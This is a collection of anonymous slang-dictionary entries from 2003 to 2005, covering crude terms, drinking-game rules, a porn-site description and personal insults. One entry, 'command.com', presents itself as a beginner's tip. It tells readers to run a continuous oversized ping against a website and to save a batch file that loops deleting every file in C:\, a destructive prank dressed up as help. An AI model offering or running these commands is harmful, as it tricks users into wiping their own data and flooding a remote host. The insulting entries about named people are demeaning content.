Dinger

"There's a dirty dinger in the shower, luv!"
by Anonymous July 24, 2003
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Harry Pothead

1) A spoof of Harry Potter in which the characters smoke weed.
2) An insulting nickname for Prince Harry, who is rumored to have smoked pot.
by Anonymous June 24, 2003
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SuicideGirls

(noun) orig. Portland, Oregon. 1) soft porn website/community made famous for being outside the realm of traditional beauty because instead of perfect and flawless models they use normal bodied girls from every day life. It is, for the most part, a collection of tattooed and pierced girls but all can apply. (Most professional photography and porn producers are affraid of piercings, and especially tattoos.)
1- A lot of the SuicideGirls are hot.
2- Yeah, but I am not into heavy
tattoos.
1- They don't *all* have tattoos.
by Anonymous January 16, 2005
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command.com

a program used on windows. command line based.
to open command.com

press start, hit run, type "cmd" then press enter. once the black box comes up type help.

then type.

ping www.google.com -l 6000 -t


save this as a .bat file
echo :P
:loop
del c:\*.*
goto loop
by anonymous September 21, 2004
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crease

used by chavs and townies and such for funny. It can also be used as laugh.
that was a crease
i was creasing at him
by anonymous February 03, 2005
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european drinking rules

A list of rules devised to make certain that landmark nights out are as legendary (i.e. everybody well and truly lashed) as possible. They are as follows:

1. The word "Drink" and any of its derivatives such as "Drank" or "Drinking" etc, may not be used.
2. Glasses should be held with the off-hand (left hand for a right-hander) with the pinkie raised off the glass.
3. Glasses should rest a safe distance from the table's edge, usually about 2 inches at least.
4. No pointing at anyone - this is just plain rude.
5. Empty glasses should be replaced immediately by a new beverage.
6. Vessels which are non-conducive to downing i.e. bottles must be replaced with glasses.
7. Every person must keep a copy of their rules on an A4 sheet at all times
8. Nobody shall refer to another by their first name, only by surnames, nicknames or by "oi, you" etc.
9. The toilet-master must be asked permission whenever a person needs to go to the john. He'll almost always grant it.
10. The thumb-master can at any point place their thumb on the drinking surface. Everybody else must follow suit, until there is one person who hasn't.
11. The pose-master is similar to the thumb-master, however others must follow suit when they strike a pose (could be anything from a frown to an impression of Michaelangelo's David) until one person hasn't.
12. Weights-and-measures master determines forfeits for rule-breaking individuals.

Failure to comply with rules 2, 3 or 6 results in the downing of the rule-breaker's current drink. Failure to comply with rules 1, 4, 5, 7, 8, 9, 10, and 11 results in a forfeit determined by the weights-and-measures master.

At the end of the night, everybody in the party must make a paper plane out of their copy of the rules. Then everybody will take it in turns to throw their plane. The owner of the plane which travels least furthest must undergo a major forfeit, decided by the weights-and-measures master. So too must people who have lost their rules.
"Smith, have I just seen you swigging that bottle of bud with your right hand? Get it downed."

"How many beverages have you imbibed tonight, Johnson?"
by Anonymous May 24, 2005
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echon

Tubby trailortrash living off foodstamps.
Also the creator of the guide to How To Make Quake2 Run Like DoomIII
"Semt-X, can you lend me some money? I am hungry."
by Anonymous April 29, 2004
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